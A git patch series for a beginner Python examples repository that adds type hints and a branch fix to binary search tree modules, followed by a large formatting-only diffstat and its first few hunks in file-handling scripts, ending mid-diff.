From af8e781c394c4f967d1e76afbf852b9ffc7d298f Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sun, 3 Aug 2025 18:54:27 +0800 Subject: [PATCH 1/2] fix code --- binary_search_trees/delete_a_node_in_bst.py | 61 +++++++++++---------- binary_search_trees/inorder_successor.py | 22 ++++---- binary_search_trees/inorder_traversal.py | 7 ++- binary_search_trees/insert_in_bst.py | 11 ++-- binary_search_trees/main.py | 33 ++++++----- binary_search_trees/mirror_a_bst.py | 15 +++-- binary_search_trees/print_in_range.py | 40 +++++++------- binary_search_trees/root_to_leaf_paths.py | 7 ++- binary_search_trees/search_in_bst.py | 9 ++- binary_search_trees/tree_node.py | 10 ++-- binary_search_trees/validate_bst.py | 17 +++--- python_codes | 2 - 12 files changed, 126 insertions(+), 108 deletions(-) delete mode 100644 python_codes diff --git a/binary_search_trees/delete_a_node_in_bst.py b/binary_search_trees/delete_a_node_in_bst.py index bfb6a0708ac..ecd096ef87e 100644 --- a/binary_search_trees/delete_a_node_in_bst.py +++ b/binary_search_trees/delete_a_node_in_bst.py @@ -1,35 +1,36 @@ +from typing import Optional from inorder_successor import inorder_successor +from tree_node import Node + # The above line imports the inorder_successor function from the inorder_successor.py file -def delete_node(root,val): - """ This function deletes a node with value val from the BST""" - - # search in the left subtree - if root.data < val: - root.right = delete_node(root.right,val) +def delete_node(root: Node, val: int) -> Optional[Node]: + """This function deletes a node with value val from the BST""" - # search in the right subtree - elif root.data>val: - root.left=delete_node(root.left,val) + # Search in the right subtree + if root.data < val: + root.right = delete_node(root.right, val) - # node to be deleted is found - else: - # case 1: no child leaf node - if root.left is None and root.right is None: - return None + # Search in the left subtree + elif root.data > val: + root.left = delete_node(root.left, val) - # case 2: one child - if root.left is None: - return root.right - - # case 2: one child - elif root.right is None: - return root.left - - # case 3: two children - - # find the inorder successor - IS=inorder_successor(root.right) - root.data=IS.data - root.right=delete_node(root.right,IS.data) - return root - \ No newline at end of file + # Node to be deleted is found + else: + # Case 1: No child (leaf node) + if root.left is None and root.right is None: + return None + + # Case 2: One child + if root.left is None: + return root.right + + # Case 2: One child + elif root.right is None: + return root.left + + # Case 3: Two children + # Find the inorder successor + is_node: Node = inorder_successor(root.right) + root.data = is_node.data + root.right = delete_node(root.right, is_node.data) + return root \ No newline at end of file diff --git a/binary_search_trees/inorder_successor.py b/binary_search_trees/inorder_successor.py index b9b15666eea..bc02264b6ef 100644 --- a/binary_search_trees/inorder_successor.py +++ b/binary_search_trees/inorder_successor.py @@ -1,10 +1,12 @@ -def inorder_successor(root): - # This function returns the inorder successor of a node in a BST - - # The inorder successor of a node is the node with the smallest value greater than the value of the node - current=root - - # The inorder successor is the leftmost node in the right subtree - while current.left is not None: - current=current.left - return current \ No newline at end of file +from tree_node import Node + +def inorder_successor(root: Node) -> Node: + """This function returns the inorder successor of a node in a BST""" + + # The inorder successor of a node is the node with the smallest value greater than the value of the node + current: Node = root + + # The inorder successor is the leftmost node in the right subtree + while current.left is not None: + current = current.left + return current \ No newline at end of file diff --git a/binary_search_trees/inorder_traversal.py b/binary_search_trees/inorder_traversal.py index 3bb4c4101ed..f49a10579a6 100644 --- a/binary_search_trees/inorder_traversal.py +++ b/binary_search_trees/inorder_traversal.py @@ -1,5 +1,8 @@ -def inorder(root): - """ This function performs an inorder traversal of a BST""" +from typing import Optional +from tree_node import Node + +def inorder(root: Optional[Node]) -> None: + """This function performs an inorder traversal of a BST""" # The inorder traversal of a BST is the nodes in increasing order if root is None: diff --git a/binary_search_trees/insert_in_bst.py b/binary_search_trees/insert_in_bst.py index dd726d06596..772b34f6dde 100644 --- a/binary_search_trees/insert_in_bst.py +++ b/binary_search_trees/insert_in_bst.py @@ -1,7 +1,8 @@ +from typing import Optional from tree_node import Node -def insert(root,val): - - """ This function inserts a node with value val into the BST""" + +def insert(root: Optional[Node], val: int) -> Node: + """This function inserts a node with value val into the BST""" # If the tree is empty, create a new node if root is None: @@ -9,9 +10,9 @@ def insert(root,val): # If the value to be inserted is less than the root value, insert in the left subtree if val < root.data: - root.left = insert(root.left,val) + root.left = insert(root.left, val) # If the value to be inserted is greater than the root value, insert in the right subtree else: - root.right = insert(root.right,val) + root.right = insert(root.right, val) return root \ No newline at end of file diff --git a/binary_search_trees/main.py b/binary_search_trees/main.py index 0e819375716..e8ac210a8b5 100644 --- a/binary_search_trees/main.py +++ b/binary_search_trees/main.py @@ -1,3 +1,4 @@ +from typing import Optional from insert_in_bst import insert from delete_a_node_in_bst import delete_node from search_in_bst import search @@ -5,12 +6,11 @@ from print_in_range import print_in_range from root_to_leaf_paths import print_root_to_leaf_paths from validate_bst import is_valid_bst +from tree_node import Node - -def main(): - +def main() -> None: # Create a BST - root = None + root: Optional[Node] = None root = insert(root, 50) root = insert(root, 30) root = insert(root, 20) @@ -28,42 +28,45 @@ def main(): print_root_to_leaf_paths(root, []) # Check if the tree is a BST - print("Is the tree a BST:", is_valid_bst(root,None,None)) + print("Is the tree a BST:", is_valid_bst(root, None, None)) # Delete nodes from the BST print("Deleting 20 from the BST:") - root = delete_node(root, 20) + if root is not None: + root = delete_node(root, 20) # Print the inorder traversal of the BST print("Inorder traversal of the BST after deleting 20:") print_in_range(root, 10, 90) # Check if the tree is a BST - print("Is the tree a BST:", is_valid_bst(root,None,None)) + print("Is the tree a BST:", is_valid_bst(root, None, None)) # Delete nodes from the BST print("Deleting 30 from the BST:") - root = delete_node(root, 30) + if root is not None: + root = delete_node(root, 30) # Print the inorder traversal of the BST after deleting 30 print("Inorder traversal of the BST after deleting 30:") print_in_range(root, 10, 90) # Check if the tree is a BST - print("Is the tree a BST:", is_valid_bst(root,None,None)) + print("Is the tree a BST:", is_valid_bst(root, None, None)) # Delete nodes from the BST print("Deleting 50 from the BST:") - root = delete_node(root, 50) + if root is not None: + root = delete_node(root, 50) # Print the inorder traversal of the BST after deleting 50 print("Inorder traversal of the BST after deleting 50:") print_in_range(root, 10, 90) # Check if the tree is a BST - print("Is the tree a BST:", is_valid_bst(root,None,None)) + print("Is the tree a BST:", is_valid_bst(root, None, None)) print("Searching for 70 in the BST:", search(root, 70)) @@ -71,13 +74,9 @@ def main(): print("Inorder traversal of the BST:") print_in_range(root, 10, 90) print("Creating a mirror of the BST:") - mirror_root = create_mirror_bst(root) + mirror_root: Optional[Node] = create_mirror_bst(root) print("Inorder traversal of the mirror BST:") print_in_range(mirror_root, 10, 90) if __name__ == "__main__": - main() - - - - + main() \ No newline at end of file diff --git a/binary_search_trees/mirror_a_bst.py b/binary_search_trees/mirror_a_bst.py index e7b3bb7fcb9..ba2dfffab0a 100644 --- a/binary_search_trees/mirror_a_bst.py +++ b/binary_search_trees/mirror_a_bst.py @@ -1,15 +1,18 @@ -def create_mirror_bst(root): - """ Function to create a mirror of a binary search tree""" +from typing import Optional +from tree_node import Node + +def create_mirror_bst(root: Optional[Node]) -> Optional[Node]: + """Function to create a mirror of a binary search tree""" # If the tree is empty, return None if root is None: return None - # Create a new node with the root value - # Recursively create the mirror of the left and right subtrees - left_mirror = create_mirror_bst(root.left) - right_mirror = create_mirror_bst(root.right) + left_mirror: Optional[Node] = create_mirror_bst(root.left) + right_mirror: Optional[Node] = create_mirror_bst(root.right) + + # Swap left and right subtrees root.left = right_mirror root.right = left_mirror return root \ No newline at end of file diff --git a/binary_search_trees/print_in_range.py b/binary_search_trees/print_in_range.py index fecca23ba24..531fad2bc2e 100644 --- a/binary_search_trees/print_in_range.py +++ b/binary_search_trees/print_in_range.py @@ -1,21 +1,23 @@ -def print_in_range(root,k1,k2): - - """ This function prints the nodes in a BST that are in the range k1 to k2 inclusive""" - - # If the tree is empty, return - if root is None: - return - - # If the root value is in the range, print the root value - if root.data >= k1 and root.data <= k2: - print_in_range(root.left,k1,k2) - print(root.data) - print_in_range(root.right,k1,k2) +from typing import Optional +from tree_node import Node + +def print_in_range(root: Optional[Node], k1: int, k2: int) -> None: + """This function prints the nodes in a BST that are in the range k1 to k2 inclusive""" - # If the root value is less than k1, the nodes in the range will be in the right subtree - elif root.data < k1: - print_in_range(root.left,k1,k2) + # If the tree is empty, return + if root is None: + return - # If the root value is greater than k2, the nodes in the range will be in the left subtree - else: - print_in_range(root.right,k1,k2) \ No newline at end of file + # If the root value is in the range, print the root value + if k1 <= root.data <= k2: + print_in_range(root.left, k1, k2) + print(root.data) + print_in_range(root.right, k1, k2) + + # If the root value is less than k1, the nodes in the range will be in the right subtree + elif root.data < k1: + print_in_range(root.right, k1, k2) # Fixed: original had left, which is incorrect + + # If the root value is greater than k2, the nodes in the range will be in the left subtree + else: + print_in_range(root.left, k1, k2) # Fixed: original had right, which is incorrect \ No newline at end of file diff --git a/binary_search_trees/root_to_leaf_paths.py b/binary_search_trees/root_to_leaf_paths.py index 22867a713ec..8c92d0a9dc8 100644 --- a/binary_search_trees/root_to_leaf_paths.py +++ b/binary_search_trees/root_to_leaf_paths.py @@ -1,5 +1,8 @@ -def print_root_to_leaf_paths(root, path): - """ This function prints all the root to leaf paths in a BST""" +from typing import Optional, List +from tree_node import Node + +def print_root_to_leaf_paths(root: Optional[Node], path: List[int]) -> None: + """This function prints all the root to leaf paths in a BST""" # If the tree is empty, return if root is None: diff --git a/binary_search_trees/search_in_bst.py b/binary_search_trees/search_in_bst.py index 4a95780e43a..70e0c108572 100644 --- a/binary_search_trees/search_in_bst.py +++ b/binary_search_trees/search_in_bst.py @@ -1,8 +1,11 @@ -def search(root, val): - """ This function searches for a node with value val in the BST and returns True if found, False otherwise""" +from typing import Optional +from tree_node import Node + +def search(root: Optional[Node], val: int) -> bool: + """This function searches for a node with value val in the BST and returns True if found, False otherwise""" # If the tree is empty, return False - if root == None: + if root is None: return False # If the root value is equal to the value to be searched, return True diff --git a/binary_search_trees/tree_node.py b/binary_search_trees/tree_node.py index 1d35656da08..78b3ba329f2 100644 --- a/binary_search_trees/tree_node.py +++ b/binary_search_trees/tree_node.py @@ -1,8 +1,8 @@ +from typing import Optional # Node class for binary tree - class Node: - def __init__(self, data): - self.data = data - self.left = None - self.right = None + def __init__(self, data: int) -> None: + self.data: int = data + self.left: Optional[Node] = None + self.right: Optional[Node] = None \ No newline at end of file diff --git a/binary_search_trees/validate_bst.py b/binary_search_trees/validate_bst.py index 3569c833005..9cdb266ced0 100644 --- a/binary_search_trees/validate_bst.py +++ b/binary_search_trees/validate_bst.py @@ -1,17 +1,20 @@ -def is_valid_bst(root,min,max): - """ Function to check if a binary tree is a binary search tree""" +from typing import Optional +from tree_node import Node + +def is_valid_bst(root: Optional[Node], min_node: Optional[Node], max_node: Optional[Node]) -> bool: + """Function to check if a binary tree is a binary search tree""" # If the tree is empty, return True if root is None: return True - # If the root value is less than the minimum value or greater than the maximum value, return False - if min is not None and root.data <= min.data: + # If the root value is less than or equal to the minimum value, return False + if min_node is not None and root.data <= min_node.data: return False - # If the root value is greater than the maximum value or less than the minimum value, return False - elif max is not None and root.data >= max.data: + # If the root value is greater than or equal to the maximum value, return False + if max_node is not None and root.data >= max_node.data: return False # Recursively check if the left and right subtrees are BSTs - return is_valid_bst(root.left,min,root) and is_valid_bst(root.right,root,max) \ No newline at end of file + return is_valid_bst(root.left, min_node, root) and is_valid_bst(root.right, root, max_node) \ No newline at end of file diff --git a/python_codes b/python_codes deleted file mode 100644 index 0f602a1a751..00000000000 --- a/python_codes +++ /dev/null @@ -1,2 +0,0 @@ -python_codes -print("Python") From 7da6e9265e0e4fc5bdacfd6a1fcd806158edf930 Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sun, 3 Aug 2025 18:55:41 +0800 Subject: [PATCH 2/2] fix --- .../Deleting record in a binary file.py | 4 +- ...e binary read (record in non list form).py | 3 +- .../Update a binary file2.py | 3 +- ...on 1 (elegible for remedial, top marks).py | 4 +- 1 File handle/File handle text/counter.py | 17 +- ...e handle 12 length of line in text file.py | 20 +- .../input,output and error streams.py | 8 +- 1 File handle/File handle text/question 2.py | 25 +- 1 File handle/File handle text/question 5.py | 20 +- 1 File handle/File handle text/question 6.py | 13 +- 1 File handle/File handle text/question3.py | 17 +- 8_puzzle.py | 24 +- AI Game/Tic-Tac-Toe-AI/tictactoe.py | 92 +- Anonymous_TextApp.py | 71 +- Armstrong_number.py | 26 +- Assembler/assembler.py | 286 +---- Audio_Summarizer.py | 19 +- AutoComplete_App/backend.py | 68 +- AutoComplete_App/frontend.py | 6 +- Automated Scheduled Call Reminders/caller.py | 5 +- Bank Application .ipynb | 260 ++-- Base Converter Number system.py | 1 - Battery_notifier.py | 4 +- Binary_search.py | 5 +- BlackJack_game/blackjack.py | 39 +- BlackJack_game/blackjack_rr.py | 3 - BoardGame-CLI/python.py | 29 +- BoardGame-CLI/snakeLadder.py | 42 +- BoardGame-CLI/uno.py | 39 +- BrowserHistory/backend.py | 17 +- BrowserHistory/tests/test_browser_history.py | 16 +- BruteForce.py | 4 - CSV_file.py | 8 +- Caesar Cipher Encoder & Decoder.py | 11 +- Calculate resistance.py | 30 +- Calendar (GUI).py | 1 + Cat/cat.py | 5 + Checker_game_by_dz/first.py | 2 +- Checker_game_by_dz/modules/checker_board.py | 1 + Checker_game_by_dz/modules/pieces.py | 1 - Chrome Dino Automater.py | 1 - CliYoutubeDownloader.py | 2 +- CliYoutubeDownloader/CliYoutubeDownloader.py | 2 +- Colors/multicoloredline.py | 10 +- Colors/pixel_sort.py | 1 + Colors/primary_colors.py | 4 - Colors/print_colors.py | 6 + CountMillionCharacter.py | 1 + Crack_password.py | 60 +- Day_of_week.py | 6 +- Decimal_To_Binary.py | 4 +- Divide Operator.py | 2 +- Droplistmenu/GamesCalender.py | 29 +- Electronics_Algorithms/resistance.py | 109 +- Emoji Dictionary/QT_GUI.py | 181 ++- Emoji Dictionary/emoji_dictionary.py | 2 +- Encryption using base64.py | 13 +- .../extract_thumbnail_from_video.py | 21 +- FIND FACTORIAL OF A NUMBER.py | 25 +- .../face_recofnation_first.py | 2 +- .../mask_detection.py | 2 +- FibonacciNumbersWithGenerators.py | 13 +- ...er of any city using openweathermap API.py | 131 +- FindingResolutionOfAnImage.py | 28 +- FizzBuzz.py | 1 - .../Background.py | 2 - Flappy Bird - created with tkinter/Bird.py | 6 +- .../Flappy Bird.py | 9 +- .../Settings.py | 1 - Flappy Bird - created with tkinter/Tubes.py | 7 +- Generate a random number between 0 to 9.py | 2 +- Google_Image_Downloader/image_grapper.py | 2 +- Grocery calculator.py | 62 +- HTML_to_PDF/main.py | 26 +- .../hand_motion_recognizer.py | 42 +- HangMan Game.py | 149 ++- Hangman.py | 6 - Hotel-Management.py | 49 +- Image-watermarker/app.py | 2 +- Image-watermarker/watermark.py | 1 - ImageDownloader/img_downloader.py | 2 +- Image_resize.py | 28 +- .../src/hangman/main.py | 62 +- .../tests/test_hangman/test_main.py | 46 +- Infix_to_Postfix.py | 2 - JARVIS/JARVIS_2.0.py | 44 +- Job_scheduling.py | 1 + Key_Binding/key_binding.py | 2 + Kilometerstomile.py | 2 +- LETTER GUESSER.py | 32 +- Laundary System/code.py | 144 ++- LinkedLists all Types/circular_linked_list.py | 90 +- LinkedLists all Types/doubly_linked_list.py | 174 +-- LinkedLists all Types/singly_linked_list.py | 167 +-- List.py | 10 +- ML House Prediction.ipynb | 88 +- Mad Libs Generator.py | 28 +- Memory_game.py | 63 +- Merge_linked_list.py | 4 - Model Usage.ipynb | 25 +- Mp3_media_player.py | 2 - Multiply.py | 23 +- News_App/Newsapp.py | 24 +- News_App/patterns.py | 233 ++-- Number reverse.py | 14 +- PDF/demerge_pdfs.py | 17 +- PDFtoAudiobook.py | 5 +- PONG_GAME.py | 9 +- Palindrome_Checker.py | 3 +- Password Generator/pass_gen.py | 8 +- Patterns/half triangle pattern.py | 68 +- Patterns/pattern2.py | 16 +- Patterns/pattern5.py | 23 +- Patterns/pattern6.py | 13 +- Patterns/patterns.py | 13 +- Pc_information.py | 22 +- Personal-Expense-Tracker/expense_tracker.py | 61 +- PingPong/Ball.py | 23 +- PingPong/Slab.py | 32 +- PingPong/main.py | 14 +- Pomodoro (tkinter).py | 68 +- PongPong_Game/pong/paddle.py | 1 - Prime_number.py | 2 +- ...everse Linked List( Recursive solution).py | 4 +- Python Distance.py | 6 +- ...uct of unique prime factors of a number.py | 54 +- Python Program for Tower of Hanoi.py | 20 +- Python Program for factorial of a number.py | 47 +- ...ogram to Count the Number of Each Vowel.py | 10 +- ...play Fibonacci Sequence Using Recursion.py | 17 +- Python Program to Find LCM.py | 23 +- Python Program to Merge Mails.py | 9 +- ...Program to Print the Fibonacci sequence.py | 22 +- ...am to Remove Punctuations from a String.py | 6 +- Python Program to Reverse a linked list.py | 105 +- ...ogram to Sort Words in Alphabetic Order.py | 16 +- Python Program to Transpose a Matrix.py | 15 +- Python Voice Generator.py | 19 +- Python-Array-Equilibrium-Index.py | 36 +- Python_swapping.py | 37 +- QR_code_generator/qrcode.py | 2 +- QuestionAnswerVirtualAssistant/backend.py | 79 +- QuestionAnswerVirtualAssistant/frontend.py | 10 +- Random Password Generator.py | 15 +- RandomDice.py | 1 + RandomNumberGame.py | 10 +- Randomnumber.py | 2 +- SOUNDEX.py | 1 - Search_Engine/backend.py | 47 +- Search_Engine/frontend.py | 6 +- Search_Engine/test_data.py | 4 +- Snake-Water-Gun-Game.py | 2 +- Snake_water_gun/main.py | 3 +- Sorting Algorithims/heapsort_linkedlist.py | 2 + Sorting Algorithims/mergesort_linkedlist.py | 15 +- Sorting Algorithims/quicksort_linkedlist.py | 14 +- Sorting Algorithms/Bubble_Sorting_Prog.py | 1 - Sorting Algorithms/Counting-sort.py | 1 - Sorting Algorithms/Cycle Sort.py | 1 - Sorting Algorithms/Heap sort.py | 2 +- Sorting Algorithms/Iterative Merge Sort.py | 3 - Sorting Algorithms/Merge Sort.py | 4 +- Sorting Algorithms/Quick sort.py | 3 +- Sorting Algorithms/Shell Sort.py | 7 +- ... values of first list using second list.py | 1 - Sorting Algorithms/Tim_sort.py | 22 +- Sorting Algorithms/bubblesortpgm.py | 3 +- Sorting Algorithms/dual_pivot_quicksort.py | 30 +- Sorting Algorithms/pigeonhole_sort.py | 1 - SpeechToText.py | 8 +- Split_Circular_Linked_List.py | 1 - Street_Fighter/src/fighter.py | 28 +- Street_Fighter/src/main.py | 177 ++- String_Palindrome.py | 4 +- Sum of digits of a number.py | 40 +- TIC_TAC_TOE/index.py | 14 +- TaskManager.py | 25 +- TaskPlanner.py | 25 +- ThirdAI/Terms and Conditions/ThirdAI.py | 4 +- ThirdAI/Terms and Conditions/TkinterUI.py | 65 +- TicTacToe.py | 156 +-- ...nd the largest number between 3 numbers.py | 5 +- To print series 1,12,123,1234......py | 3 - Todo_GUi.py | 31 +- Translator/translator.py | 1 + Trending youtube videos.py | 44 +- .../find_Triplets_with_zero_sum.py | 11 +- Turtle_Star.py | 20 +- Untitled.ipynb | 32 +- Voice Command Calculator.py | 37 +- .../Project_Basic_struct/TextTospeech.py | 9 +- .../VoiceAssistant_main.py | 44 +- .../Project_Basic_struct/dictator.py | 23 +- VoiceAssistant/Project_Basic_struct/menu.py | 10 +- .../Project_Basic_struct/speakListen.py | 120 +- .../Project_Basic_struct/speechtotext.py | 5 +- .../Project_Basic_struct/textRead.py | 247 ++-- .../Project_Basic_struct/websiteWork.py | 32 +- Weather Scrapper/weather.py | 45 +- Web Socket.py | 15 +- Webbrowser/tk-browser.py | 16 +- Wikipdedia/flask_rendering.py | 15 +- Wikipdedia/main.py | 6 +- Wikipdedia/practice_beautifulsoap.py | 24 +- WikipediaModule.py | 1 + Word_Dictionary/dictionary.py | 9 +- Wordle/wordle.py | 14 +- XORcipher/XOR_cipher.py | 32 +- Youtube Downloader With GUI/main.py | 2 + add_two_number.py | 7 +- add_two_nums.py | 7 +- agecalculator.py | 54 +- armstrongnumber.py | 2 +- automail.py | 26 +- bank_managment_system/QTFrontend.py | 1100 +++++++++++------ bank_managment_system/backend.py | 59 +- bank_managment_system/frontend.py | 5 - basic_cal.py | 2 +- billing.py | 29 +- binary search.py | 44 +- binary_search_trees/delete_a_node_in_bst.py | 15 +- binary_search_trees/inorder_successor.py | 7 +- binary_search_trees/inorder_traversal.py | 11 +- binary_search_trees/insert_in_bst.py | 9 +- binary_search_trees/main.py | 33 +- binary_search_trees/mirror_a_bst.py | 9 +- binary_search_trees/print_in_range.py | 15 +- binary_search_trees/root_to_leaf_paths.py | 9 +- binary_search_trees/search_in_bst.py | 9 +- binary_search_trees/tree_node.py | 3 +- binary_search_trees/validate_bst.py | 17 +- birthdays.py | 27 +- blackjack.py | 1 - bodymass.py | 18 +- bookstore_manangement_system.py | 98 -- brickout-game/brickout-game.py | 5 +- calc_area.py | 2 +- calci.py | 4 +- calculator-gui.py | 1 - calculator.py | 8 +- cartesian_product.py | 5 +- ...the string is Symmetrical or Palindrome.py | 81 +- check_input.py | 5 - chicks_n_rabs.py | 2 +- cli_master/cli_master.py | 6 +- cli_master/validation_page.py | 16 +- cloning_a_list.py | 26 +- colorma_as_color.py | 4 +- colour spiral.py | 40 +- compass_code.py | 11 +- convert celsius into fahrenheit.py | 8 +- convert_wind_direction_to_degrees.py | 1 + count the numbers of two vovels.py | 10 +- create password validity in python.py | 43 +- daily_checks.py | 12 +- date-timeserver.py | 1 - days_from_date.py | 6 +- decimal to binary.py | 2 +- dialogs/messagebox.py | 4 +- digital_clock.py | 2 +- divisors_of_a_number.py | 24 +- encryptsys.py | 2 - equations.py | 2 +- fastapi.py | 1 + fibonici series.py | 22 +- file_ext_changer.py | 64 +- find_cube_root.py | 4 +- find_prime.py | 11 +- finding LCM.py | 24 +- flappyBird_pygame/flappy_bird.py | 13 - folder_size.py | 2 +- four_digit_num_combination.py | 2 +- ftp_send_receive.py | 12 +- game_of_life/05_mixed_sorting.py | 4 +- game_of_life/game_o_life.py | 7 +- gcd.py | 3 +- generate_permutations.py | 19 +- googleweb.py | 68 +- greaterno.py | 12 +- greattwono.py | 6 +- gstin_scraper.py | 39 +- gui_calculator.py | 1 + happy_num.py | 86 +- ...d three numbers and find type in python.py | 12 +- ...display the fibonacci sequence up to n-.py | 22 +- image2pdf/image2pdf.py | 85 +- index.py | 8 +- inheritance_YahV1729.py | 52 +- .../instagram_image_scrapping.ipynb | 61 +- insta_monitering/insta_datafetcher.py | 1 - kilo_to_miles.py | 5 +- kmp_str_search.py | 14 +- large_files_reading.py | 6 +- largestno.py | 6 +- lcm.py | 48 +- leap year.py | 16 +- levenshtein_distance.py | 1 - linear search.py | 19 +- linear-algebra-python/src/lib.py | 2 +- linear_search.py | 2 +- loader.py | 2 +- .../local_weighted_learning.py | 2 +- login.py | 1 + loops.py | 18 +- mobilePhoneSpecsScrapper.py | 1 - multiple_comditions.py | 6 +- multiplication_table.py | 12 +- nDigitNumberCombinations.py | 2 +- new_pattern.py | 37 +- news_articles__scraper.py | 5 +- .../django_projects/ToDo_webapp/manage.py | 1 + .../django_projects/ToDo_webapp/todo/tests.py | 1 - .../django_projects/ToDo_webapp/todo/views.py | 1 + .../ToDo_webapp/todo_site/urls.py | 1 + notepad/notepad_support.py | 1 - num-py.py | 3 +- number guessing.py | 15 +- numberguessinggame/index.py | 7 +- numeric_password_cracker.py | 8 +- palindrome.py | 13 +- password_checker.py | 41 +- .../animal_name_scraiper.py | 1 - .../passwordGenerator.py | 75 +- personal_translator.py | 1 + ping_servers.py | 1 - ping_subnet.py | 1 - power_of_n.py | 6 +- powers of 2.py | 6 +- primelib/primelib.py | 75 +- print hello world.py | 2 +- printing_hello_world.py | 2 +- prison_break_scrapper.py | 1 + pygame.py | 2 +- python Space Invader game.py | 56 +- ...finding square root for positive number.py | 8 +- pythonVideoDownloader.py | 1 - python_sms.py | 10 +- python_webscraper.py | 9 +- qrcode.py | 7 +- quiz_game.py | 57 +- random_password_gen.py | 5 +- rangoli.py | 4 +- reading_csv.py | 22 +- recursiveStrings.py | 22 +- recyclebin.py | 1 + remove a character from a file and rewrite.py | 34 +- reversed_pattern3.py | 19 +- russian_roulette.py | 16 +- saving_input_into_list.py | 6 +- scientific_cal.py | 31 +- script_count.py | 2 - sensors_information.py | 2 +- sierpinski_triangle.py | 9 +- simple_calcu.py | 6 +- simple_calculator/simple_calculator.py | 23 +- simulate_memory_cpu.py | 27 +- singly_linked_list.py | 13 +- size(resolution)image.py | 1 - snake_case_renamer_depth_one.py | 14 +- sorting_algos.py | 138 ++- spotifyAccount.py | 2 - sqlite_check.py | 2 - square_root.py | 7 +- stackF_Harsh2255.py | 1 + string_palin.py | 16 +- sum_of_digits_of_a_number.py | 5 +- swap.py | 6 +- text-to-audio/text-file-to-audio.py | 2 +- text_to_pig_latin.py | 8 +- tf_idf_generator.py | 12 +- .../mustache-add-on-face.py | 7 +- tic-tac-toe.py | 1 + tic_tak_toe.py | 3 +- tik_tak.py | 8 - time_delta.py | 19 +- triangles.py | 1 - tuple.py | 18 +- turtal game.ipynb | 2 +- turtle_shapes_made.py | 5 +- twitter_post_scraper.py | 6 +- two_num.py | 12 +- ultimate-phone-book/contacts.py | 37 +- videodownloder.py | 43 +- voice.py | 2 +- vowel remover function.py | 2 + whatsapp-monitor.py | 5 +- whatsapp-schedule.py | 3 +- wifi hack by brutefore.py | 105 +- wiki/wiki.py | 43 +- wiki_random.py | 1 + wikipedia.py | 1 + youtubedownloader.py | 48 +- 392 files changed, 5607 insertions(+), 4546 deletions(-) diff --git a/1 File handle/File handle binary/Deleting record in a binary file.py b/1 File handle/File handle binary/Deleting record in a binary file.py index d3922a5afc4..72323f84120 100644 --- a/1 File handle/File handle binary/Deleting record in a binary file.py +++ b/1 File handle/File handle binary/Deleting record in a binary file.py @@ -3,13 +3,13 @@ def bdelete(): # Opening a file & loading it - with open("studrec.dat","rb") as F: + with open("studrec.dat", "rb") as F: stud = pickle.load(F) print(stud) # Deleting the Roll no. entered by user rno = int(input("Enter the Roll no. to be deleted: ")) - with open("studrec.dat","wb") as F: + with open("studrec.dat", "wb") as F: rec = [i for i in stud if i[0] != rno] pickle.dump(rec, F) diff --git a/1 File handle/File handle binary/File handle binary read (record in non list form).py b/1 File handle/File handle binary/File handle binary read (record in non list form).py index bb9f127ea0b..45321e20600 100644 --- a/1 File handle/File handle binary/File handle binary read (record in non list form).py +++ b/1 File handle/File handle binary/File handle binary read (record in non list form).py @@ -2,7 +2,7 @@ def binary_read(): - with open("studrec.dat","rb") as b: + with open("studrec.dat", "rb") as b: stud = pickle.load(b) print(stud) @@ -10,7 +10,6 @@ def binary_read(): print("contents of binary file") for ch in stud: - print(ch) # prints one of the chosen rec in list rno = ch[0] diff --git a/1 File handle/File handle binary/Update a binary file2.py b/1 File handle/File handle binary/Update a binary file2.py index 88adeef443f..c1eee7d3800 100644 --- a/1 File handle/File handle binary/Update a binary file2.py +++ b/1 File handle/File handle binary/Update a binary file2.py @@ -4,12 +4,11 @@ def update(): - with open("studrec.dat", "rb+") as File: value = pickle.load(File) found = False roll = int(input("Enter the roll number of the record")) - + for i in value: if roll == i[0]: print(f"current name {i[1]}") diff --git a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py index bf84e9824ec..60207f85d7e 100644 --- a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py +++ b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py @@ -6,8 +6,8 @@ Write a function remcount( ) to count the number of students who need remedial class (student who scored less than 40 percent) - - """ + +""" # also find no. of children who got top marks import pickle diff --git a/1 File handle/File handle text/counter.py b/1 File handle/File handle text/counter.py index 1019eeacae8..476371a3951 100644 --- a/1 File handle/File handle text/counter.py +++ b/1 File handle/File handle text/counter.py @@ -1,13 +1,13 @@ """ - Class resposible for counting words for different files: - - Reduce redundant code - - Easier code management/debugging - - Code readability +Class resposible for counting words for different files: +- Reduce redundant code +- Easier code management/debugging +- Code readability """ -class Counter: - def __init__(self, text:str) -> None: +class Counter: + def __init__(self, text: str) -> None: self.text = text # Define the initial count of the lower and upper case. @@ -16,7 +16,6 @@ def __init__(self, text:str) -> None: self.count() def count(self) -> None: - for char in self.text: if char.lower(): self.count_lower += 1 @@ -24,7 +23,7 @@ def count(self) -> None: self.count_upper += 1 return (self.count_lower, self.count_upper) - + def get_total_lower(self) -> int: return self.count_lower @@ -32,4 +31,4 @@ def get_total_upper(self) -> int: return self.count_upper def get_total(self) -> int: - return self.count_lower + self.count_upper \ No newline at end of file + return self.count_lower + self.count_upper diff --git a/1 File handle/File handle text/file handle 12 length of line in text file.py b/1 File handle/File handle text/file handle 12 length of line in text file.py index d14ef16a4ea..608f1bf94e3 100644 --- a/1 File handle/File handle text/file handle 12 length of line in text file.py +++ b/1 File handle/File handle text/file handle 12 length of line in text file.py @@ -1,30 +1,29 @@ - import os import time -file_name= input("Enter the file name to create:- ") + +file_name = input("Enter the file name to create:- ") print(file_name) -def write_to_file(file_name): +def write_to_file(file_name): if os.path.exists(file_name): print(f"Error: {file_name} already exists.") return with open(file_name, "a") as F: - while True: text = input("enter any text to add in the file:- ") - F.write( f"{text}\n" ) + F.write(f"{text}\n") choice = input("Do you want to enter more, y/n").lower() if choice == "n": break - -def longlines(): - with open(file_name, encoding='utf-8') as F: + +def longlines(): + with open(file_name, encoding="utf-8") as F: lines = F.readlines() - lines_less_than_50 = list( filter(lambda line: len(line) < 50, lines ) ) + lines_less_than_50 = list(filter(lambda line: len(line) < 50, lines)) if not lines_less_than_50: print("There is no line which is less than 50") @@ -32,7 +31,8 @@ def longlines(): for i in lines_less_than_50: print(i, end="\t") + if __name__ == "__main__": write_to_file(file_name) time.sleep(1) - longlines() \ No newline at end of file + longlines() diff --git a/1 File handle/File handle text/input,output and error streams.py b/1 File handle/File handle text/input,output and error streams.py index 